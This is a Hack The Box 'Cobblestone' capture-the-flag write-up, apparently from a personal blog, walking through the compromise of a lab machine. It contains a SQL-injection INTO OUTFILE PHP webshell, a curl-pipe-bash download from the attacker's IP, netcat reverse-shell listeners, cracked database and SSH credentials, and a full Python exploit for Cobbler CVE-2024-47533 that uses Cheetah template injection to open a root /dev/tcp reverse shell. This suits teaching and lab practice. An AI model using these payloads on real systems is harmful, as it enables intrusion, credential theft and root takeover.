Hackthebox: Cobblestone

Foued SAIDI Lv5

Overview

Cobblestone is an insane-difficulty Linux machine from Hack The Box that starts with a Minecraft-themed website whose buttons hop across a handful of subdomains. Fingerprinting the template leads us to its public GitHub repository, and one of those subdomains (vote.cobblestone.htb) exposes a POST url parameter that is vulnerable to SQL injection. We’ll leverage a MySQL UNION SELECT ... INTO OUTFILE to drop a PHP webshell, catch a reverse shell as www-data, loot the database credentials from connection.php, dump the users table and crack an admin bcrypt hash to SSH in as cobble. For privilege escalation we’ll discover a Cobbler service listening only on localhost, port-forward it back to our box, and abuse CVE-2024-47533 (an unauthenticated XMLRPC login) together with a Cheetah template injection to execute code as root.

Cobblestone-info-card
Cobblestone-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
PORT    STATE    SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 50:ef:5f:db:82:03:36:51:27:6c:6b:a6:fc:3f:5a:9f (ECDSA)
|_ 256 e2:1d:f3:e9:6a:ce:fb:e0:13:9b:07:91:28:38:ec:5d (ED25519)
80/tcp open http Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://cobblestone.htb/
514/tcp filtered shell
Aggressive OS guesses: Actiontec MI424WR-GEN3I WAP (99%), DD-WRT v24-sp2 (Linux 2.4.37) (98%), Linux 3.2 (96%), Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012 (96%), Linux 4.4 (94%), Microsoft Windows XP SP3 (94%), BlueArc Titan 2100 NAS device (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 10 hops
Service Info: Host: 127.0.0.1; OS:

We have the usual SSH on port 22 and an Apache HTTP server on port 80 that redirects us to http://cobblestone.htb/, so let’s add an entry for that domain in our /etc/hosts file and browse to it.

Web Application - http://cobblestone.htb/

The website is a Minecraft server portal. Wappalyzer confirms the backend is Apache 2.4.62 .

The various buttons on the page redirect us to other web apps hosted on different subdomains — and we can actually read those subdomains off the icons of the items themselves:

  • cobblestone.htb

  • mc.cobblestone.htb

  • vote.cobblestone.htb

  • deploy.cobblestone.htb

Cobblestone-subdomains
Cobblestone-subdomains

Let’s add all of them to our /etc/hosts file. Peeking at the page source reveals the author and the exact template version being used:

1
2
3
4
5
6
7
8
9
<!-- Proudly coded by Billy (https://bybilly.uk) -->
<!-- Version: 1.9.2 -->

<!DOCTYPE html>
<html>
<head>
<!-- Info meta tags, important for social media + SEO -->
<title>Cobblestone - Official Website</title>

Following the author link at https://bybilly.uk leads us to two references — the SpigotMC resource page and, more usefully, the GitHub repository for the template:

Cobblestone-billy-template
Cobblestone-billy-template

Looking at the commits, we can confirm the exact same version we spotted earlier in the HTML comment:

Cobblestone-github-version
Cobblestone-github-version

1
1.9.2

The changelog notes for the last couple of releases give us a feel for how the template fetches player counts through an API, but nothing directly exploitable here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
UPDATE 1.9.2 - BUG FIXES

New Features:
- Fixed small bug in main.js when port isn't set (shouldn't affect most users)
- Switched all JavaScript to ES6 syntax
- Improved playercount fetching code
- Updated jQuery version
- Added preconnect hint to font import (will very slightly increase load speed)
- Removed some redundant code from index.html (was a Discord widget for a previous client)

Worth Noting:
- The API to fetch the current playercount has a cache, so querying it more often will not update the player number any faster
- The API also has a rate limiter, so please do not query it too often :)


Want to update from a previous version?
Both index.html and main.js have changed this time. If you are updating (from version 1.8+), the most important file to change is main.js. There is no need to update from version 1.9.1 if you do not have any issues.


Apologies for two updates so close together. If you already updated to version 1.9.1 you can skip this version.

Thanks again for using my resource :)
Please leave a review if you enjoy

Billy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
RELEASE 1.9.1 - API UPDATE

Recently the API I use for this web resource went down. This means the player count for your server wouldn't load. As a lot of people rely on this resource for their Minecraft server websites (and to ensure reliability) I've implemented my own API. This means we'll never have an issue like this again :)

Want to update from a previous version?
If you are updating from a previous version, the only file you need to change is "main.js" in the "js" folder.

Please consider leaving a review if you like my resource. If you have any questions or problems, don't hesitate to start a conversation with me (https://www.spigotmc.org/conversations/add).



Sponsored by PebbleHost - Premium hosting at affordable pricing
[​IMG] ​


Hope everyone is well.
Enjoy :)
~ Billy

SQL Injection - http://vote.cobblestone.htb/

The real attack surface lives on the vote subdomain. Head over to Cobblestone - Login and register/log in. Once inside, navigate to the Strategy section and create a new entry. This form issues a POST request containing a url parameter — capture that request with Burp, save it to request.txt, and hand it off to sqlmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
┌──(kali㉿kali)-[~]
└─$ sqlmap -r request.txt --file-read=/etc/passwd

___
__H__
___ ___[)]_____ ___ ___ {1.9.4#stable}
|_ -| . ['] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:39:23 /2025-08-12/

[12:39:23] [INFO] parsing HTTP request from 'request.txt'
[12:39:24] [INFO] testing connection to the target URL
got a 302 redirect to 'http://vote.cobblestone.htb/details.php?id=40'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
[12:39:55] [INFO] checking if the target is protected by some kind of WAF/IPS
[12:39:58] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
are you sure that you want to continue with further target testing? [Y/n]

[12:40:02] [WARNING] please consider usage of tamper scripts (option '--tamper')
[12:40:02] [INFO] testing if the target URL content is stable
[12:40:04] [WARNING] POST parameter 'url' does not appear to be dynamic
[12:40:07] [WARNING] heuristic (basic) test shows that POST parameter 'url' might not be injectable
[12:40:10] [INFO] testing for SQL injection on POST parameter 'url'
[12:40:10] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:40:24] [INFO] POST parameter 'url' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[12:41:25] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]

[12:41:29] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[12:41:31] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[12:41:34] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[12:41:37] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[12:41:40] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[12:41:43] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[12:41:46] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[12:41:49] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[12:41:52] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[12:41:55] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[12:41:57] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[12:42:00] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[12:42:03] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[12:42:06] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[12:42:09] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[12:42:12] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[12:42:15] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[12:42:18] [WARNING] reflective value(s) found and filtering out
[12:42:21] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[12:42:24] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[12:42:24] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[12:42:24] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[12:42:24] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[12:42:24] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[12:42:24] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[12:42:24] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[12:42:24] [INFO] testing 'Generic inline queries'
[12:42:27] [INFO] testing 'MySQL inline queries'
[12:42:30] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[12:42:32] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[12:42:36] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[12:42:38] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[12:42:41] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[12:42:44] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[12:42:47] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[12:43:05] [INFO] POST parameter 'url' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[12:43:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[12:43:05] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[12:43:11] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[12:43:22] [INFO] target URL appears to have 5 columns in query
[12:43:56] [INFO] POST parameter 'url' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'url' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 74 HTTP(s) requests:
---
Parameter: url (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: url=ss' AND 4671=4671 AND 'jRrh'='jRrh

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: url=ss' AND (SELECT 8588 FROM (SELECT(SLEEP(5)))eRAJ) AND 'Cpmg'='Cpmg

Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: url=-8312' UNION ALL SELECT CONCAT(0x717a767871,0x6358644b6e6b57566c614f4863724f55544c55664258476d75714c65476770525575426574774a52,0x71766b6a71),NULL,NULL,NULL,NULL-- -
---
[12:47:25] [INFO] the back-end DBMS is MySQL
[12:47:25] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Debian
web application technology: Apache 2.4.62
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[12:47:28] [INFO] fingerprinting the back-end DBMS operating system
[12:47:31] [INFO] the back-end DBMS operating system is Linux
[12:47:31] [INFO] fetching file: '/etc/passwd'
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n]

[12:47:50] [INFO] the local file '/home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_passwd' and the remote file '/etc/passwd' have the same size (1430 B)
files saved to [1]:
[*] /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_passwd (same file)

[12:47:50] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/vote.cobblestone.htb'

[*] ending @ 12:47:50 /2025-08-12/


┌──(kali㉿kali)-[~]
└─$ ls
Desktop Downloads Pictures request.txt Videos
Documents Music Public Templates

┌──(kali㉿kali)-[~]
└─$ cat /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_passwd+
cat: /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_passwd+: No such file or directory

┌──(kali㉿kali)-[~]
└─$ cat /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
cobble:x:1000:1000:cobble,,,:/home/cobble:/bin/rbash
mysql:x:103:112:MySQL Server,,,:/nonexistent:/bin/false
tftp:x:104:113:tftp daemon,,,:/srv/tftp:/usr/sbin/nologin
_laurel:x:999:996::/var/log/laurel:/bin/false
john:x:1001:1001:,,,:/home/john:/bin/bash

The url parameter is injectable through boolean-based, time-based and UNION techniques, and we can already read arbitrary files off disk. Note the interesting users: cobble (with an rbash shell) and john.

PHP Webshell via INTO OUTFILE

Reading files is nice, but since the DB user can write to disk we can go for full RCE. Because we know the UNION query needs 5 columns, we can abuse INTO OUTFILE to drop a PHP webshell straight into the vote web root. Paste this directly into the url field on the vote endpoint (or replay it through sqlmap):

1
' UNION SELECT 1,2,3,"<?php system($_GET['cmd']); ?>",5 INTO OUTFILE '/var/www/vote/shell.php'-- -

Then navigate to http://vote.cobblestone.htb/shell.php?cmd=id to confirm command execution. From there we host a reverse-shell script and pull it down to get a proper shell:

http://vote.cobblestone.htb/shell.php?cmd=curl%2010.10.16.39/revshell.sh%20|%20bash

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~]
└─$ rlwrap nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.39] from (UNKNOWN) [10.10.11.81] 45582
can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

Looting Database Credentials

We now have a foothold as www-data. The vote app keeps its DB connection details in a connection.php file — reading it gives us the voteuser credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ cat connection.php
<?php

$dbserver = "localhost";
$username = "voteuser";
$password = "thaixu6eih0Iicho]irahvoh6aigh>ie";
$dbname = "vote";

$conn = new mysqli($dbserver, $username, $password, $dbname);

// Check connection
if ($conn->connect_errno > 0) {
die("Connection failed: " . $conn->connect_error);
}
?>$ pwd
/var/www/vote/db

With those credentials we can authenticate directly to MySQL, enumerate the tables and dump the users table:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~]
└─$ rlwrap nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.39] from (UNKNOWN) [10.10.11.81] 57020
sh: 0: can't access tty; job control turned off
$ mysql -u voteuser -p'thaixu6eih0Iicho]irahvoh6aigh>ie' -h 127.0.0.1 vote -e "show tables;"
Tables_in_vote
users
votes
$ mysql -u voteuser -p'thaixu6eih0Iicho]irahvoh6aigh>ie' -h 127.0.0.1 vote -e "select * from users;"
id Username FirstName LastName Email Password
1 admin Admin [email protected] $2y$10$6XMWgf8RN6McVqmRyFIDb.6nNALRsA./u4HAF2GIBs3xgZXvZjv86
10 awwsd asd asd [email protected] $2y$10$Us7drUVRb9nlpdQSUIBtpe4RHg4jP3e3J.wr0Ye2KpYfhF2IehgjG
11 kujen kujen kujen [email protected] $2y$10$jqi0wX4TbI8OEdPTJv3Ep.nwLKtrSAlgq7DbSELHy3sCYwDHTfBhy

The admin user’s email is [email protected], which is a strong hint that this bcrypt hash belongs to the cobble system user. Feeding it to john cracks it:

1
crack hash : iluvdannymorethanyouknow

That gives us our credentials:

1
cobble:iluvdannymorethanyouknow

User Flag - SSH as cobble

Even though cobble has an rbash restricted shell, the password reuse lets us SSH straight in and grab the user flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(kali㉿kali)-[~]
└─$ ssh [email protected]
The authenticity of host '10.10.11.81 (10.10.11.81)' can't be established.
ED25519 key fingerprint is SHA256:c5Fpg/cgHQO2EmwqsW3VtYIVXXMz7nz8dwjibC8n0gw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.81' (ED25519) to the list of known hosts.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
Linux cobblestone 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
cobble@cobblestone:~$ cat user.txt
28e752f70096de9d538bd77f11dbe0b9
cobble@cobblestone:~$


Privilege Escalation - Cobbler CVE-2024-47533

Now for root. Searching for services listening locally on the box turns up an application bound to 127.0.0.1. After a bit of effort you should be able to identify it as Cobbler, along with its repository on GitHub. The releases page mentions a CVE, and the linked security advisory explains that you can interact with the service via Python’s xmlrpc.client module. Consulting the Cobbler XMLRPC-API wiki lets us build a script to read the root flag — or, better yet, get a reverse shell.

Useful references:

The core of the vulnerability is CVE-2024-47533: calling login("", -1) returns a valid, fully-privileged token without any authentication. From there we abuse Cobbler’s Cheetah template engine — writing an autoinstall template containing an expression-only __import__('os').system(...) payload, wiring it to a profile, and rendering that profile’s autoinstall to trigger execution as root:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import xmlrpc.client

TARGET = "http://127.0.0.1:25151"
LHOST, LPORT = "10.10.16.39", "4444"

# Expression-only Cheetah payload that won't break parsing:
payload = f"""#set $null = __import__('os').system('bash -c "bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"')
# Kickstart minimal skeleton (keeps Cobbler happy)
lang en_US
keyboard us
network --bootproto=dhcp
rootpw --plaintext cobbler
timezone UTC
bootloader --location=mbr
clearpart --all --initlabel
autopart
reboot
"""

s = xmlrpc.client.ServerProxy(TARGET)
t = s.login("", -1) # CVE-2024-47533

# (Re)write the malicious template (avoid #python/#end python)
s.write_autoinstall_template("pwn.ks", payload, t)

# Create/adjust the profile, link distro, set our template
try:
pid = s.new_profile(t)
s.modify_profile(pid, "name", "pwnprof", t)
except xmlrpc.client.Fault:
pid = s.get_profile("pwnprof", t)

s.modify_profile(pid, "distro", "pwn_distro", t)
s.modify_profile(pid, "autoinstall", "pwn.ks", t)
s.modify_profile(pid, "kickstart", "pwn.ks", t)
s.save_profile(pid, t)

# Render (no token arg)
print(s.generate_profile_autoinstall("pwnprof"))

Since Cobbler only listens on tcp/25151 on localhost, we first forward that port back to our own machine (e.g. ssh -L 25151:127.0.0.1:25151 [email protected]), start a listener, and then run the script. Rendering the profile autoinstall triggers the Cheetah payload as root and we catch our shell:

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~]
└─$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.39] from (UNKNOWN) [10.10.11.81] 56386
bash: cannot set terminal process group (1232): Inappropriate ioctl for device
bash: no job control in this shell
root@cobblestone:/# cat /root/root.txt
cat /root/root.txt
c670a36179fd062f8d364297ffc4a630
root@cobblestone:/#

And that’s a wrap on Cobblestone — SQL injection to a webshell, credential reuse for user, and an unauthenticated Cobbler XMLRPC template injection for root. Hope you learned something new!

-0xkujen

  • Title: Hackthebox: Cobblestone
  • Author: Foued SAIDI
  • Created at : 2026-08-15 21:50:00
  • Updated at : 2026-08-15 22:33:20
  • Link: https://kujen5.github.io/2026/08/15/Hackthebox-Cobblestone/
  • License: This work is licensed under CC BY-NC-SA 4.0.